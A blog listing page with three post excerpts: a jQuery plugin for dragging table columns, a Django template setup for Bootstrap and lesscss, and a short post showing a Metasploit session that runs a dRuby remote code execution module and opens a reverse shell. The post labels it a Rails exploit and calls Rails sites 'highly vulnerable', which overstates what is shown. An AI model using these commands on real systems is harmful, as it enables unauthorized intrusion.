Services Blog Français

Lightweight jQuery plugin to drag'n'drop <table> columns

| by jpic | javascript jquery

This plugin allows to drag’n’drop HTML table columns. It is rather light and consistent with usual jQuery plugin and javascript patterns.

This script doesn’t assume that it is smarter than you are. All it does is enabling clean column drag’n’drop, and triggers an event on drop. You should implement the persistence you want by binding that event to your own function.

Nuff said, here it is.

Ruby on rails remote code execution exploit

| by jpic | security rails ruby

Ruby on rails websites are highly vulnerable.

Exploiting a rails site looks like this:

$ msfconsole
msf> use exploit/linux/misc/drb_remote_codeexec
msf  exploit(drb_remote_codeexec) > set URI druby://localhost:45074
msf  exploit(drb_remote_codeexec) > exploit
[*] Started reverse double handler
[*] trying to exploit instance_eval
< snip >
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:53299) at 2013-01-09 13:06:39 -0600
id
uid=1001(www) gid=1001(www) groups=1001(www)

Bootstrap, lesscss and django

| by jpic | django

This article demonstrates how to have your own project-specific twitter-bootstrap fork, allowing you to change stuff in variables.less and other files. In development, lesscss is computed by the browser, with the less library in debug mode. In production, it relies on django-compressor.

In site_base.html:

    {% if debug %}
        <link href="{{ STATIC_URL }}bootstrap/less/bootstrap.less" charset="utf-8" type="text/less" rel="stylesheet">
        <link href="{{ STATIC_URL }}bootstrap/less/responsive.less" rel="stylesheet">
        <script type="text/javascript">less = {}; less.env = 'development';</script>
        <script type="text/javascript" src="{{ STATIC_URL }}less.js" ></script>
    {% else %}
            {% compress css %}
            <link href="{{ STATIC_URL }}bootstrap/less/bootstrap.less" charset="utf-8" type="text/less" rel="stylesheet">
            <link href="{{ STATIC_URL }}bootstrap/less/responsive.less" rel="stylesheet">
            <link rel="stylesheet" type="text/css" href="{% static 'autocomplete_light/style.css' %}" />
            {% endcompress %}
    {% endif %}

In settings.py:

Read More
Previous Page 27 of 32 Next Page

They trust us

Contact

logo